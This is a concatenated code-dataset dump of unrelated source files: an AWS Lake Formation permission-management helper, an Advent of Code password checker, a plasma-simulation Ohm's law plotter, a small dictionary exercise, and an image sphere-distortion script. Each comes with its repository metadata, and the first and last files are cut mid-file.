\"Must manually delete service-linked role to deregister last S3 location\" in str(e):\n pass\n else:\n raise e\n\n # drop the bucket\n self._drop_dummy_bucket()\n\n # return the role arn\n return f\"arn:aws:iam::{self._target_account}:role/aws-service-role/lakeformation.amazonaws.com/AWSServiceRoleForLakeFormationDataAccess\"\n\n def describe_table(self, database_name: str, table_name: str):\n glue_client = self._get_client('glue')\n try:\n table = glue_client.get_table(\n DatabaseName=database_name,\n Name=table_name\n )\n\n return table.get('Table')\n except glue_client.exceptions.EntityNotFoundException:\n raise Exception(f\"Table {database_name}.{table_name} Not Found\")\n\n def lf_batch_revoke_permissions(self,\n data_mesh_account_id: str,\n consumer_account_id: str,\n permissions: list,\n database_name: str,\n grantable_permissions: list = None,\n table_list: list = None) -> int:\n lf_client = self._get_client('lakeformation')\n\n entries = []\n\n for t in table_list:\n entries.extend(self.create_lf_permissions_entry(\n data_mesh_account_id=data_mesh_account_id,\n target_account_id=consumer_account_id,\n database_name=database_name,\n table_name=t,\n permissions=permissions,\n grantable_permissions=grantable_permissions,\n target_batch=True\n ))\n\n response = lf_client.batch_revoke_permissions(\n CatalogId=data_mesh_account_id,\n Entries=entries\n )\n perms_revoked = len(entries)\n if 'Failures' in response:\n perms_revoked -= len(response.get('Failures'))\n\n return perms_revoked\n\n def create_lf_permissions_entry(self,\n data_mesh_account_id: str,\n target_account_id: str,\n database_name: str, table_name: str,\n permissions: list,\n grantable_permissions: list = None,\n target_batch: bool = False\n ) -> list:\n db_entries = []\n table_entries = []\n column_entries = []\n\n log_message = None\n if table_name is None:\n # create a db resource\n entry = {\n \"Id\": shortuuid.uuid(),\n \"Principal\": {\n 'DataLakePrincipalIdentifier': target_account_id\n },\n \"Resource\": {\n 'Database': {\n 'CatalogId': data_mesh_account_id,\n 'Name': database_name\n }\n },\n \"Permissions\": permissions\n }\n if target_batch is True:\n entry[\"Id\"] = shortuuid.uuid()\n\n log_message = f\"{target_account_id} Database {database_name} Permissions:{permissions}\"\n\n if grantable_permissions is not None:\n # make sure that grantable permissions can't include anything that isn't in permissions\n _set_grantable_permissions = []\n for p in permissions:\n if p in grantable_permissions:\n _set_grantable_permissions.append(p)\n\n entry[\"PermissionsWithGrantOption\"] = _set_grantable_permissions\n log_message = f\"{log_message}, {_set_grantable_permissions} WITH GRANT OPTION\"\n\n self._logger.info(log_message)\n db_entries.append(entry)\n else:\n # create grants at table and column level depending on what's being granted/revoked\n if 'SELECT' in permissions:\n entry = {\n \"Id\": shortuuid.uuid(),\n \"Principal\": {\n 'DataLakePrincipalIdentifier': target_account_id\n },\n \"Resource\": {\n 'TableWithColumns': {\n 'CatalogId': data_mesh_account_id,\n 'DatabaseName': database_name,\n 'Name': table_name,\n 'ColumnWildcard': {}\n }\n },\n \"Permissions\": ['SELECT']\n }\n log_message = f\"{target_account_id} Table {table_name} Column Permissions:{permissions}\"\n\n if grantable_permissions is not None and 'SELECT' in grantable_permissions:\n entry[\"PermissionsWithGrantOption\"] = grantable_permissions\n log_message = f\"{log_message}, {grantable_permissions} WITH GRANT OPTION\"\n\n column_entries.append(entry)\n self._logger.info(log_message)\n\n # remove select from remaining permissions\n other_permissions = list(set(permissions) - set(['SELECT']))\n other_grantable_permissions = None\n if grantable_permissions is not None:\n other_grantable_permissions = list(set(grantable_permissions) - set(['SELECT']))\n\n if other_permissions is not None and len(other_permissions) > 0:\n entry = {\n \"Id\": shortuuid.uuid(),\n \"Principal\": {\n 'DataLakePrincipalIdentifier': target_account_id\n },\n \"Resource\": {\n 'Table': {\n 'CatalogId': data_mesh_account_id,\n 'DatabaseName': database_name,\n 'Name': table_name\n }\n },\n \"Permissions\": other_permissions\n }\n log_message = f\"{target_account_id} Table {table_name} Permissions:{other_permissions}\"\n\n if other_grantable_permissions is not None and len(other_grantable_permissions) > 0:\n entry[\"PermissionsWithGrantOption\"] = other_grantable_permissions\n log_message = f\"{log_message}, {other_grantable_permissions} WITH GRANT OPTION\"\n\n self._logger.info(log_message)\n table_entries.append(entry)\n\n # create a list of the permissions groups\n final_entries = []\n final_entries.extend(table_entries)\n final_entries.extend(column_entries)\n final_entries.extend(db_entries)\n\n return final_entries\n\n def lf_batch_grant_permissions(self,\n data_mesh_account_id: str,\n target_account_id: str,\n permissions: list,\n database_name: str,\n grantable_permissions: list = None,\n table_list: list = None) -> int:\n entries = []\n\n # always grant describe\n if 'DESCRIBE' not in permissions:\n permissions.append('DESCRIBE')\n\n for t in table_list:\n entries.extend(self.create_lf_permissions_entry(\n data_mesh_account_id=data_mesh_account_id,\n target_account_id=target_account_id,\n database_name=database_name,\n table_name=t,\n permissions=permissions,\n grantable_permissions=grantable_permissions,\n target_batch=True)\n )\n\n lf_client = self._get_client('lakeformation')\n\n response = lf_client.batch_grant_permissions(\n CatalogId=data_mesh_account_id,\n Entries=entries\n )\n\n perms_added = len(entries)\n if 'Failures' in response:\n perms_added -= len(response.get('Failures'))\n\n if perms_added == 0:\n self._logger.error(\n f\"Exceptions raised while granting Batch Permissions from {data_mesh_account_id} to {target_account_id}\")\n self._logger.error(response.get('Failures'))\n raise Exception(f\"Failed to grant permissions on Account {data_mesh_account_id}\")\n else:\n return perms_added\n\n def lf_grant_permissions(self, data_mesh_account_id: str, principal: str, database_name: str,\n table_name: str = None,\n permissions: list = ['ALL'],\n grantable_permissions: list = None) -> int:\n table_list = table_name if isinstance(table_name, list) else [table_name]\n return self.lf_batch_grant_permissions(\n data_mesh_account_id=data_mesh_account_id,\n target_account_id=principal,\n database_name=database_name,\n table_list=table_list,\n permissions=permissions,\n grantable_permissions=grantable_permissions\n )\n\n def create_crawler(self, crawler_role: str, database_name: str, table_name: str, s3_location: str,\n sync_schedule: str, enable_lineage: bool = True):\n glue_client = self._get_client('glue')\n crawler_name = '%s-%s' % (database_name, table_name)\n try:\n glue_client.get_crawler(Name=crawler_name)\n except glue_client.exceptions.from_code('EntityNotFoundException'):\n try:\n glue_client.create_crawler(\n Name=crawler_name,\n Role=crawler_role,\n DatabaseName=database_name,\n Description=\"S3 Crawler to sync structure of %s.%s to Data Mesh\" % (database_name, table_name),\n Targets={\n 'S3Targets': [\n {\n 'Path': s3_location\n },\n ]\n },\n Schedule=\"cron(0 */4 * * ? *)\" if sync_schedule is None else sync_schedule,\n SchemaChangePolicy={\n 'UpdateBehavior': 'LOG',\n 'DeleteBehavior': 'LOG'\n },\n RecrawlPolicy={\n 'RecrawlBehavior': 'CRAWL_NEW_FOLDERS_ONLY'\n },\n LineageConfiguration={\n 'CrawlerLineageSettings': 'ENABLE' if enable_lineage is True else 'DISABLE'\n },\n Tags=DEFAULT_TAGS\n )\n self._logger.info(\"Created new Glue Crawler %s\" % crawler_name)\n except glue_client.exceptions.AccessDeniedException as ade:\n self._logger.error(\n \"Cannot create Glue Crawler - caller doesn't have permissions or is missing iam::PassRole\")\n\n return crawler_name\n\n def create_remote_table(self, data_mesh_account_id: str,\n database_name: str,\n local_table_name: str,\n remote_table_name: str) -> None:\n try:\n glue_client = self._get_client(('glue'))\n glue_client.create_table(\n DatabaseName=database_name,\n TableInput={\"Name\": local_table_name,\n \"TargetTable\": {\"CatalogId\": data_mesh_account_id,\n \"DatabaseName\": database_name,\n \"Name\": remote_table_name\n }\n }\n )\n self._logger.info(f\"Created Resource Link Table {local_table_name}\")\n except glue_client.exceptions.from_code('AlreadyExistsException'):\n self._logger.info(f\"Resource Link Table {local_table_name} Already Exists\")\n\n def get_or_create_database(self, database_name: str, database_desc: str, source_account: str = None):\n glue_client = self._get_client('glue')\n\n args = {\n \"DatabaseInput\": {\n \"Name\": database_name,\n \"Description\": database_desc,\n }\n }\n\n if source_account is not None:\n args['DatabaseInput']['TargetDatabase'] = {\n \"CatalogId\": source_account,\n \"DatabaseName\": database_name\n }\n del args['DatabaseInput'][\"Description\"]\n\n # create the database\n try:\n glue_client.create_database(\n **args\n )\n\n this_account_id = self._get_client('sts').get_caller_identity().get('Account')\n\n # tag the database with default tags\n db_arn = utils.get_db_arn(region_name=glue_client.meta.region_name, catalog_id=this_account_id,\n database_name=database_name)\n glue_client.tag_resource(\n ResourceArn=db_arn,\n TagsToAdd=DEFAULT_TAGS\n )\n except glue_client.exceptions.AlreadyExistsException:\n pass\n\n self._logger.info(f\"Verified Database {database_name}\")\n\n def set_default_db_permissions(self, database_name: str):\n glue_client = self._get_client('glue')\n\n glue_client.update_database(\n CatalogId=self._target_account,\n Name=database_name,\n DatabaseInput={\n \"Name\": database_name,\n \"CreateTableDefaultPermissions\": []\n }\n )\n\n def set_default_lf_permissions(self):\n # remove default IAM settings in lakeformation for the account, and setup the manager role and this caller as admins\n lf_client = self._get_client('lakeformation')\n settings = lf_client.get_data_lake_settings().get('DataLakeSettings')\n settings['CreateTableDefaultPermissions'] = []\n lf_client.put_data_lake_settings(DataLakeSettings=settings)\n\n def add_datalake_admin(self, principal: str):\n lf_client = self._get_client('lakeformation')\n\n admins = lf_client.get_data_lake_settings().get('DataLakeSettings').get(\"DataLakeAdmins\")\n\n admins.append({\n 'DataLakePrincipalIdentifier': principal\n })\n # Horrible retry logic required to avoid boto3 exception using a role as a principal too soon after it's been created\n retries = 0\n while True:\n try:\n lf_client.put_data_lake_settings(\n DataLakeSettings={\n 'DataLakeAdmins': admins\n }\n )\n except lf_client.exceptions.InvalidInputException:\n self._logger.info(f\"Error setting DataLakeAdmins as {admins}. Backing off....\")\n retries += 1\n if retries > 5:\n raise\n time.sleep(3)\n continue\n break\n\n def _get_s3_path_prefix(self, prefix: str) -> str:\n return prefix.replace(f\"s3://{self._get_bucket_name(prefix)}\", \"\")\n\n def _transform_bucket_policy(self, bucket_policy: dict, principal_account: str,\n access_path: str) -> dict:\n use_bucket_name = self._get_bucket_name(access_path)\n policy_sid = f\"{BUCKET_POLICY_STATEMENT_SID}-{use_bucket_name}\"\n\n # generate a new bucket policy from the template\n s3_path = self._get_s3_path_prefix(access_path)\n base_policy = json.loads(utils.generate_policy(template_file='producer_bucket_policy.pystache', config={\n 'account_id': principal_account,\n 'access_path': s3_path,\n 'sid': policy_sid\n }))\n\n if bucket_policy is None:\n generated_policy = {\n \"Version\": \"2012-10-17\",\n \"Id\": shortuuid.uuid(),\n \"Statement\": [\n base_policy\n ]\n }\n self._logger.info(\n f\"Creation new S3 Bucket policy enabling Data Mesh LakeFormation Service Role access for {principal_account}\")\n self._logger.info(f\"Creating new Bucket Policy for {access_path}\")\n return generated_policy\n else:\n # we already have a bucket policy, so determine if there is already a data mesh grant created for this bucket\n statements = bucket_policy.get('Statement')\n data_mesh_statement_index = -1\n\n for i, s in enumerate(statements):\n if s.get('Sid') == policy_sid:\n data_mesh_statement_index = i\n break\n\n if data_mesh_statement_index == -1:\n # there was not a previously created data mesh auth statement, so add it to the end\n statements.append(base_policy)\n self._logger.info(\n f\"Adding new Data Mesh LakeFormation Service Role statement for {principal_account} to existing Bucket Policy\")\n else:\n # we already have a data mesh auth statement, so check if the principal is already there first\n statement = statements[data_mesh_statement_index]\n set_principal = f\"arn:aws:iam::{principal_account}:role/aws-service-role/lakeformation.amazonaws.com/AWSServiceRoleForLakeFormationDataAccess\"\n if set_principal not in statement.get('Principal').get('AWS'):\n current_principals = statement.get('Principal').get('AWS')\n if isinstance(current_principals, list):\n statement.get('Principal').get('AWS').append(set_principal)\n else:\n statement.get('Principal')['AWS'] = [current_principals, set_principal]\n\n statements[data_mesh_statement_index] = statement\n self._logger.info(\n f\"Adding principal {principal_account} to existing Data Mesh LakeFormation Service Role statement\")\n\n bucket_policy['Statement'] = statements\n else:\n self._logger.info(\n f\"Not modifying bucket policy as principal {principal_account} has already been added\")\n\n return bucket_policy\n\n def _get_current_bucket_policy(self, s3_client, bucket_name: str):\n try:\n current_policy = s3_client.get_bucket_policy(Bucket=bucket_name)\n return current_policy\n except botocore.exceptions.ClientError as ce:\n if 'NoSuchBucketPolicy' in str(ce):\n return None\n else:\n raise ce\n\n def add_bucket_policy_entry(self, principal_account: str, access_path: str):\n s3_client = self._get_client('s3')\n\n bucket_name = self._get_bucket_name(access_path)\n\n # get the existing policy, if there is one\n current_policy = self._get_current_bucket_policy(s3_client, bucket_name)\n\n bucket_policy = None\n if current_policy is not None:\n bucket_policy = json.loads(current_policy.get('Policy'))\n\n # transform the existing or None policy into the desired target lakeformation policy\n new_policy = self._transform_bucket_policy(\n bucket_policy=bucket_policy, principal_account=principal_account,\n access_path=access_path\n )\n\n # put the policy back into the bucket store\n s3_client.put_bucket_policy(Bucket=bucket_name, Policy=json.dumps(new_policy))\n\n def accept_lf_resource_shares(self, share_list: list) -> tuple:\n '''\n Causes a list of RAM shares to be accepted by the caller\n :param share_list:\n :return:\n '''\n ram_client = self._get_client('ram')\n\n get_response = ram_client.get_resource_share_invitations()\n\n # only accept peding lakeformation shares from the source account\n shares_accepted = []\n shares_active = []\n shares_not_found = []\n for r in get_response.get('resourceShareInvitations'):\n share_arn = r.get('resourceShareArn')\n if share_arn in share_list:\n if r.get('status') == 'PENDING':\n ram_client.accept_resource_share_invitation(\n resourceShareInvitationArn=r.get('resourceShareInvitationArn')\n )\n shares_accepted.append(share_arn)\n self._logger.info(f\"Accepted RAM Share {share_arn}\")\n elif r.get('status') == 'ACCEPTED':\n shares_active.append(share_arn)\n else:\n shares_not_found.append(share_arn)\n else:\n shares_not_found.append(share_arn)\n\n return shares_accepted, shares_active, shares_not_found\n\n def accept_pending_lf_resource_shares(self, sender_account: str, filter_resource_arn: str = None):\n '''\n Accepts all pending resource shares of the specified type from the sending account. Used to automatically accept\n shares from the data mesh back to the producer\n\n :param sender_account:\n :param filter_resource_arn:\n :return:\n '''\n ram_client = self._get_client('ram')\n\n get_response = ram_client.get_resource_share_invitations()\n\n accepted_share = False\n for r in get_response.get('resourceShareInvitations'):\n # only accept pending lakeformation shares from the source account\n if r.get('senderAccountId') == sender_account and 'LakeFormation' in r.get('resourceShareName') and r.get(\n 'status') == 'PENDING':\n if filter_resource_arn is None or r.get('resourceShareArn') == filter_resource_arn:\n ram_client.accept_resource_share_invitation(\n resourceShareInvitationArn=r.get('resourceShareInvitationArn')\n )\n accepted_share = True\n self._logger.info(f\"Accepted RAM Share {r.get('resourceShareInvitationArn')}\")\n\n if accepted_share is False:\n self._logger.info(\"No Pending RAM Shares to Accept\")\n","repo_name":"aws-samples/aws-data-mesh-utils","sub_path":"src/data_mesh_util/lib/ApiAutomator.py","file_name":"ApiAutomator.py","file_ext":"py","file_size_in_byte":53027,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"29"} +{"seq_id":"42614200534","text":"current_day = 'day2'\nwith open(current_day+'_input.txt','r') as f:\n\tdata_in = f.readlines()\n\ndata_in = [i.replace('\\n','') for i in data_in]\nprint(len(data_in))\n\npw_correct = 0\npw_correct_2 = 0\nfor pw in data_in:\n\trule = pw.split(':')[0].replace(' ','-')\n\tattempt = pw.split(':')[1].replace(' ','')\n\n\n\trule_min = int(rule.split('-')[0])\n\trule_max = int(rule.split('-')[1])\n\trule_letter = rule.split('-')[2]\n\n\t#part 1\n\tif rule_min <= attempt.count(rule_letter) <= rule_max:\n\t\tpw_correct = pw_correct + 1\n\n\t#part 2\n\tletter_at_lower = attempt[rule_min-1] == rule_letter\n\tletter_at_upper = attempt[rule_max-1] == rule_letter\n\tif letter_at_lower != letter_at_upper:\n\t\tpw_correct_2 = pw_correct_2 + 1\n\nprint(pw_correct)\nprint(pw_correct_2)\n","repo_name":"tshapiro-eqr/Advent","sub_path":"advent_2020/Day02/day2_code.py","file_name":"day2_code.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"10076385478","text":"import numpy as np\nimport myStyle.plot1D as pl1\nimport PICsees.FetchPIC as fpc\nimport myStyle.LoadConfig as lcf\nimport fLIB.fLIB__grad2d as grd\nimport myUtils.LoadConst as lcn\n\ndef ohmslaw( InpFile=None, InpDir =None, \\\n OutFile=None, OutDir =None, \\\n CnsFile=None, config =None, \\\n labels =None, pltAxis=None, \\\n x1Range=None, x2Range=None ):\n # --- [1] 引数チェック --- #\n if ( config is None ): config = lcf.LoadConfig()\n if ( CnsFile is None ): CnsFile = \"../job/{0}/dat/constants.dat\".format( config[\"job\"] )\n if ( InpFile is None ): InpFile = \"Field2D{0:08}.bin\".format( config[\"kstep\"] )\n if ( InpDir is None ): InpDir = \"../job/{0}/bin/\".format( config[\"job\" ] )\n if ( OutFile is None ): OutFile = InpFile.replace( \".bin\", \".png\" )\n if ( OutDir is not None ): OutFile = OutDir + OutFile\n if ( pltAxis is None ): pltAxis = config[\"plt_Axis\"]\n \n # --- [2] データ呼び出し --- #\n # -- 軸の選択 / 平均化 -- #\n if ( pltAxis == 1 ):\n meanAxis = 0\n if ( x1Range is None ): x1Range = config[\"Data_x1Range\" ]\n if ( x2Range is None ): x2Range = config[\"Data_avgRange\"]\n elif ( pltAxis == 2 ):\n meanAxis = 1\n if ( x1Range is None ): x1Range = config[\"Data_avgRange\"]\n if ( x2Range is None ): x2Range = config[\"Data_x2Range\" ]\n else:\n sys.exit( \"[ERROR] pst_Axis?? [ERROR]\" )\n # -- データ読み出し -- #\n keys = [\"Ey\",\"uix\",\"uiy\",\"uiz\",\"uex\",\"uey\",\"uez\", \"psi\",\n \"Bx\",\"By\",\"Bz\",\"pexy\",\"peyz\", \"ne\", \"pixy\",\"piyz\", \"ni\" ]\n Field = fpc.FetchPIC( InpFile=InpFile, InpDir=InpDir, \\\n CnsFile=CnsFile, keys =keys , \\\n config =config , \\\n x1Range=x1Range, x2Range=x2Range )\n const = lcn.LoadConst( InpFile=CnsFile )\n # --- ion --- #\n ion__Analysis = True\n if ( ion__Analysis ):\n # -- Ey -- #\n Ey = - np.ravel( np.mean( Field[\"Ey\"] , axis=meanAxis ) )\n # -- uxB -- #\n uixB = + np.ravel( np.mean( Field[\"uiz\"]*Field[\"Bx\"] - Field[\"uix\"]*Field[\"Bz\"], axis=meanAxis ) )\n # -- (ui.grad) ui -- #\n grduit = grd.grad2d ( Data=Field[\"uiy\"], xg=Field[\"xAxis\"], yg=Field[\"yAxis\"] )\n zI,rInv= np.meshgrid( Field[\"xAxis\"], 1.0 / ( Field[\"yAxis\"] ), indexing='xy' )\n ugrdu = Field[\"uiz\"]*grduit[\"dfdx\"] + Field[\"uix\"]*grduit[\"dfdy\"] + Field[\"uiy\"]* Field[\"uix\" ] * rInv\n ugrdu = - np.ravel( np.mean( ugrdu*const[\"rmi\"], axis=meanAxis ) )\n print( const[\"rmi\"] )\n # -- div pi -- #\n niInv = 1.0 / ( Field[\"ni\"] )\n divPrt = ( grd.grad2d( Data=Field[\"pixy\"], xg=Field[\"xAxis\"], yg=Field[\"yAxis\"] ) )[\"dfdy\"]\n divPzt = ( grd.grad2d( Data=Field[\"piyz\"], xg=Field[\"xAxis\"], yg=Field[\"yAxis\"] ) )[\"dfdx\"]\n divPi = - np.ravel( np.mean( (divPrt+divPzt)*niInv, axis=meanAxis ) )\n # -- Residual -- #\n res = - Ey + uixB + ugrdu + divPi\n\n # --- [3] プロット --- #\n OutFile= OutDir + \"iOhmsLaw.png\"\n labels = [r\"$-E_y$\", r\"$u_i \\times B$\" , r\"$m_i / e (u_i \\cdot \\nabla) u_i$\",\n r\"$\\nabla \\cdot P_i / e n_i$\", \"Residual\"]\n fig = pl1.plot1D( FigName=OutFile, config=config )\n xAxis = Field[\"xAxis\"] if ( pltAxis == 1 ) else Field[\"yAxis\"]\n fig.addPlot( xAxis=xAxis, yAxis=Ey, label=labels[0] )\n fig.addPlot( xAxis=xAxis, yAxis=uixB, label=labels[1] )\n fig.addPlot( xAxis=xAxis, yAxis=ugrdu, label=labels[2] )\n fig.addPlot( xAxis=xAxis, yAxis=divPi, label=labels[3] )\n # fig.addPlot( xAxis=xAxis, yAxis=res, label=labels[4] )\n fig.addLegend()\n fig.setAxis()\n fig.writeFigure()\n print( \"[ohmslaw] {0} is outputed...\".format( OutFile ) )\n\n \n # --- Electron --- #\n Electron__Analysis = True\n if ( Electron__Analysis ):\n # -- Ey -- #\n Ey = - np.ravel( np.mean( Field[\"Ey\"] , axis=meanAxis ) )\n # -- uxB -- #\n uexB = + np.ravel( np.mean( Field[\"uez\"]*Field[\"Bx\"] - Field[\"uex\"]*Field[\"Bz\"], axis=meanAxis ) )\n # -- (ue.grad) ue -- #\n grduet = grd.grad2d( Data=Field[\"uey\"], xg=Field[\"xAxis\"], yg=Field[\"yAxis\"] )\n zI,rInv= np.meshgrid( Field[\"xAxis\"], 1.0 / ( Field[\"yAxis\"] ), indexing='xy' )\n ugrdu = Field[\"uez\"]*grduet[\"dfdx\"] + Field[\"uex\"]*grduet[\"dfdy\"] + Field[\"uey\"]* Field[\"uex\" ] * rInv\n ugrdu = + np.ravel( np.mean( ugrdu, axis=meanAxis ) )\n # -- div pe -- #\n neInv = 1.0 / ( Field[\"ne\"] )\n divPrt = ( grd.grad2d( Data=Field[\"pexy\"], xg=Field[\"xAxis\"], yg=Field[\"yAxis\"] ) )[\"dfdy\"]\n divPzt = ( grd.grad2d( Data=Field[\"peyz\"], xg=Field[\"xAxis\"], yg=Field[\"yAxis\"] ) )[\"dfdx\"]\n divPe = + np.ravel( np.mean( (divPrt+divPzt)*neInv, axis=meanAxis ) )\n # -- Residual -- #\n res = - Ey + uexB + ugrdu + divPe\n \n # --- [3] プロット --- #\n OutFile= OutDir + \"eOhmsLaw.png\"\n labels = [r\"$-E_y$\", r\"$u_e \\times B$\" , r\"$m_e / e (u_e \\cdot \\nabla) u_e$\",\n r\"$\\nabla \\cdot P_e / e n_e$\", \"Residual\"]\n fig = pl1.plot1D( FigName=OutFile, config=config )\n xAxis = Field[\"xAxis\"] if ( pltAxis == 1 ) else Field[\"yAxis\"]\n fig.addPlot( xAxis=xAxis, yAxis=Ey, label=labels[0] )\n fig.addPlot( xAxis=xAxis, yAxis=uexB, label=labels[1] )\n fig.addPlot( xAxis=xAxis, yAxis=ugrdu, label=labels[2] )\n fig.addPlot( xAxis=xAxis, yAxis=divPe, label=labels[3] )\n fig.addPlot( xAxis=xAxis, yAxis=res, label=labels[4] )\n fig.addLegend()\n fig.setAxis()\n fig.writeFigure()\n print( \"[ohmslaw] {0} is outputed...\".format( OutFile ) )\n\n\n\n# --------------------------------------- #\nif ( __name__==\"__main__\" ):\n # --- 引数の設定 --- #\n import myUtils.myRecvArgs as rar\n args = rar.myRecvArgs()\n CnsFile = args[\"jobDir\"] + \"dat/constants.dat\"\n InpDir = args[\"jobDir\"] + \"bin/\"\n OutDir = \"./png/\"\n config = lcf.LoadConfig()\n\n # -- 準備 psiX の位置を知る -- #\n inquiry_PsiX = True\n if ( inquiry_PsiX ):\n kstep = args[\"ksteps\"][0]\n InpFile = \"Field2D{0:08}.bin\".format( kstep )\n x1Range = [-3.,+3.]\n x2Range = [+6.,18.]\n import PICsees.getXpt_FromPIC as gPX\n ret = gPX.getXpt_FromPIC( InpFile=InpFile, InpDir =InpDir, \\\n CnsFile=CnsFile, config =config, \\\n x1Range=x1Range, x2Range=x2Range \\\n )\n print()\n print( \"psiX :: {0} \".format( ret[0] ) )\n print( \"(iX,jX) :: ({0},{1})\".format( ret[1],ret[2] ) )\n print( \"(xX,yX) :: ({0},{1})\".format( ret[3],ret[4] ) )\n print()\n # -- psi を描いて 知る -- #\n check_PsiX = True\n if ( check_PsiX ):\n kstep = args[\"ksteps\"][0]\n InpFile = \"Field2D{0:08}.bin\".format( kstep )\n x1Range = [-2.,+2.]\n x2Range = [6.0,18.0]\n Field = fpc.FetchPIC( InpFile=InpFile, InpDir =InpDir , CnsFile=CnsFile, config =config, \\\n keys =[\"psi\"], x1Range=x1Range, x2Range=x2Range )\n import myStyle.cMap2D as clm\n fig = clm.cMap2D( xAxis=Field[\"yAxis\"], yAxis=Field[\"xAxis\"], cMap=Field[\"psi\"] )\n \n \n # --- コンフィグの設定 --- #\n config[\"FigSize\"] = (5,3)\n config[\"AutoRange\"] = False\n config[\"AutoTicks\"] = True\n config[\"Data_x1Range\"] = [-10,+10]\n config[\"Data_avgRange\"] = [+12.5,13.5]\n config[\"plt_xRange\"] = [-5.,+5.]\n config[\"plt_yRange\"] = [-0.05,+0.05]\n config[\"plt_Axis\"] = 1\n config[\"plt_Position\"] = [0.22,0.22,0.95,0.95]\n config[\"plt_LegNColumn\"] = 2\n config[\"plt_LegFontSize\"] = 10\n config[\"plt_LegLocation\"] = \"lower-left\"\n config[\"axes_x_Nticks\"] = 5\n config[\"axes_y_Nticks\"] = 5\n config[\"xTitle\"] = \"Z\"\n config[\"yTitle\"] = \"\"\n config[\"MinimalOut\"] = False\n # --- 描きだし --- #\n for kstep in args[\"ksteps\"]:\n binFile = \"Field2D{0:08d}.bin\".format( kstep )\n vtk = ohmslaw( InpFile=binFile, InpDir=InpDir, OutDir=OutDir, CnsFile=CnsFile, config=config )\n print( binFile+\" is processed...\" )\n","repo_name":"wfw-pgr/rtz2DmpiPIC","sub_path":"pyt/1d/ohmslaw.py","file_name":"ohmslaw.py","file_ext":"py","file_size_in_byte":8542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"22201036576","text":"\n\n# my_dict={\"data1\":100,\"data2\":-54,\"data3\":247}\n# sum=0\n# for x in my_dict:\n# sum=sum+my_dict[x]\n# print(sum)\n\n\n\n\ndic={'a':10,'b':20,'d':30}\nsum=0\nfor i in dic:\n sum=sum+dic[i]\nprint(sum)","repo_name":"Rani-rathod/Dictionary-file","sub_path":"question 3.py","file_name":"question 3.py","file_ext":"py","file_size_in_byte":196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"21691757714","text":"#!python3\nimport inspect \nfrom numpy import *\nfrom lib_symbol import *\nfrom lib_interpolate import *\n\nout_dir = \"output/\"\nif not os.path.isdir(out_dir):\n os.makedirs(out_dir)\n\n#########################\n# FUNCTIONS\n#########################\ndef spherize_coordinates(p , c, radius, curvature):\n # https://lms.fun-mooc.fr/asset-v1:ulb+44013+session03+type@asset+block/explication-deformation.pdf\n\n # Coordinates\n x, y, z = p\n x_,y_,z_= p\n xc, yc, zc = int(c[0]), int(c[1]), int(c[2])\n\n # relative coordinates\n x_minus_xc = x - xc\n y_minus_yc = y - yc\n z_minus_zc = z - zc\n\n # Apparent radius\n #Ra = math.sqrt( radius**2 - z_minus_zc**2 )\n\n # Norm radius\n r = math.sqrt( x_minus_xc**2 + y_minus_yc**2 )\n\n if 0 < r < radius:\n #r_div_Ra = r / Ra\n r_div_Ra = r / radius\n #r_ = radius * math.sin( r_div_Ra * math.acos( abs(z_minus_zc) / radius ) )\n r_ = radius * math.sin( r_div_Ra * (math.pi/2) )\n\n # New coordinates\n x_ = xc + (r / r_)**curvature * x_minus_xc\n y_ = yc + (r / r_)**curvature * y_minus_yc\n\n return x_,y_,z_\n\ndef sphere_engine(img_obj,img_size, pc, radius, curvature=1):\n # 1 < curvature < N\n\n # Copy input img\n new_img = img_obj.copy()\n new_img.load()[0,0] = (0,0,0,255)\n\n # Create array\n img_array = list(range(img_size[0]))\n img_matrix = []\n original_pixels = img_obj.load()\n new_pixels = new_img.load()\n\n spherized_coordinates = list()\n\n for y in range(img_size[1]):\n for x in range(img_size[0]):\n # Calculate new points\n x_,y_,z_ = spherize_coordinates((x,y,0),pc,radius,curvature)\n spherized_coordinates.append([x,y,x_,y_])\n\n # New pixel to calculate ? \n if type(x_) == int and type(y_) == int:\n continue\n\n # Interpolation bilineaire\n if type(x_) != int and type(y_) != int:\n bilinear_interpolation(x,y,x_,y_,img_size,original_pixels,new_pixels)\n\n # Interpolation linaire\n else:\n linear_interpolation(x,y,x_,y_,img_size,original_pixels,new_pixels)\n\n return new_img\n\n\n#########################\n# CREATE IMG\n#########################\nimg_size = (500,500)\n\n# Create img\nbg_img = create_image(img_size,(154,185,183,255))\noverlay_img = create_image(img_size,(255,255,255,0))\n\n# Create symbol\nsymbol_size = (50,100)\nsymbol_color1 = (242,198,27)\nsymbol_color2 = (5,26,104)\nsymbol_colors = ( symbol_color1 , symbol_color2 )\nsymbol_img = create_symbol(symbol_size,symbol_colors,'cube')\nsymbol_img.save(out_dir+'symbol.png')\n\n# Fill img with symbol\nfill_image_with_symbol(overlay_img,symbol_img)\n\n# Apply background to overlay\noverlay_img = Image.alpha_composite( create_image(img_size,(0,0,0,255)), overlay_img)\noverlay_img.save(out_dir+'overlay.png')\n\n# Merge background and overlay\nbg_img = Image.alpha_composite(bg_img,overlay_img)\nbg_img.save(out_dir+'sphere.png')\n\n#########################\n# Sphere calc\n#########################\nnew_img = bg_img\n#new_img = sphere_engine(new_img, img_size, (0, 0 ,0), img_size[0]/2 * 2**0.5, 1.5)\n#new_img = sphere_engine(new_img, img_size, (img_size[0]-1, 0 ,0), img_size[0]/2, 1.5)\n#new_img = sphere_engine(new_img, img_size, (img_size[0]-1, img_size[1]-1 ,0), img_size[0]/2 * 2**0.5, 1.5)\n#new_img = sphere_engine(new_img, img_size, (0, img_size[1]-1 ,0), img_size[0]/2, 1.5)\nnew_img = sphere_engine(new_img, img_size, (img_size[0]/2, img_size[1]/2 ,0), img_size[0]/2, 1)\n\nnew_img.save(out_dir+'sphere1_bilinear_interpol.png')\n\n","repo_name":"fredericbcv/py_vasarely","sub_path":"generate_sphere1_bilinear_interpol.py","file_name":"generate_sphere1_bilinear_interpol.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"41499726037","text":"import json\nimport logging\n\nfrom app.entrezpy.base import query\nfrom app.entrezpy.esearch import esearch_parameter\nfrom 